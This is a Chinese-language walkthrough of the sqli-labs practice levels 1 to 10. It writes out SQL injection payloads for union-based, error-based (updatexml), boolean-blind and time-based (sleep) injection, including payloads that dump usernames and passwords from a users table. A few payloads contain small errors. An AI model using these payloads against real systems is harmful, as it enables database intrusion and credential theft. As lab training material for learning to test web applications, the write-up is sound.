文章目录
less-1
1、提示输入参数id,且值为数字;
2、判断是否存在注入点
php
id=1'

报错,说明存在 SQL注入漏洞。
3、判断字符型还是数字型
php
id=1 and 1=1 --+
id=1 and 1=2 --+
id=1" --+
注意,注释
#
可能没有--+
好使


两次页面返回均正常,说明为字符型注入。
下面判断闭合类型:
也可以从报错的地方看出是单引号闭合。

可以看出是单引号闭合。
综上,该关卡属于字符型注入,且闭合符号为单引号。
4、判断字段数
php
id=1' order by 3 --+

字段数为三,也就是说sql查询的结果中,有三列数据。
5、查看回显点
php
id=-1' union select 1,2,3 --+

注意:要确保
union select
前面的语句,也就是id在数据库中是不存在的,才会看到回显点。
6、查看数据库名
php
id=-1' union select 1,(select database()),3 --+

可以得到数据库名为
security
.
7、查看表名
php
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

可以看出
security
表中,有四张表。
8、查看字段名
php
id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

9、查看字段值
php
id=-1' union select 1,(select group_concat(concat(username,'%23',password)) from security.users),3 --+

下面主要介绍思路,就不全流程走完了。
less-2

1、判断是否存在注入漏洞
php
id=1'

说明存在SQL注入漏洞。
2、判断字符型还是数字型
php
id=1 and 1=1 --+
id=1 and 1=2 --+
说明属于数字型注入。
3、判断字段数
php
id=1 order by 3 --+
>后面的步骤和前一关一样,在这里不在赘述。
less-3
1、用单引号判断是否存在sql注入。
说明存在sql注入漏洞。
2、判断字符型还是数字型
返回正常,说明属于字符型注入。
下面确定闭合符号:
从这里看出,后端代码是在id值后面加了
')
,再进行查询的。所以,闭合符号为
')
。
less-4
用单引号判断是否存在sql注入。
单引号不行,试试双引号,

说明存在SQL注入漏洞。单引号没反应,只能说明此处的闭合方式没用到单引号,试试其他符号。

从这里可以看出,闭合方式是双引号+单括号。最外面的那个单引号是为了区分其他无关报错信息。
less-5
用单引号判断是否存在SQL注入漏洞
可以看到,存在SQL注入漏洞,且闭合符号为单引号。

因为页面没有回显,所以,这里,我们不能用联合查询,需要用盲注。


可以看到,此处只有两种页面显示,可以使用布尔盲注;
因为有报错,所以也可以使用报错注入。
使用盲注,直接判断数据库长度
php
id=1' and length(database())=8 --+ //判断数据库名长度

说明当前数据库名的长度为8,这里就不演示布尔盲注,太麻烦了~盲注。
这里使用报错注入进行演示:
(1)查数据库名
php
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

(2)查表名
php
id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

(3)查字段名
php
id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

(4)查字段值
php
id=1' and updatexml(1,concat(0x7e,(select group_concat(concat(username,'%23',password)) from security.users),0x7e),1) --+

注意:该语句对输出的字符长度也做了限制,其最长输出32位。
less-6
单引号判断是否存在sql注入漏洞;
单引号不行,双引号上,成了~
可以看出,只有双引号闭合,故试试:
既然有报错,那就用报错注入吧~
查数据库名
php
id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

后面就不多赘述了~
less-7
用单引号判断是否存在sql注入
页面返回不一样,所以存在SQL注入漏洞,但是没有报错也没有回显,只能使用盲注。
需要试试,出来闭合符号为'))
使用布尔盲注,直接判断数据库长度
php
id=1')) and length(database())=8 --+ //判断数据库名长度

less-8
通过单引号判断存在 sql注入漏洞;同时,发现闭合引号就是单引号。因为此处没有报错,也没有回显,只能用布尔盲注。
使用布尔盲注,直接判断数据库长度
php
id=1')) and length(database())=8 --+ //判断数据库名长度

less-9
这一关需要用时间盲注,payload:
php
id=1 and sleep(5) --+ //数字型则等待5秒
id=1' and sleep(5) --+ //字符型则等待5秒

可知存在SQL注入漏洞,闭合符号为单引号,且类型属于时间盲注。
使用时间盲注,直接判断数据库长度
php
id=1' and if(length(database())=8,sleep(5),1) --+ //猜数据库名长度

数据库长度为8,后续就是一个一个字母猜数据库名,然后表名、字段名、字段内容,在这里不在赘述。
less-10
这一关与前一关得区别主要是,闭合符号换成了双引号,其余都一样。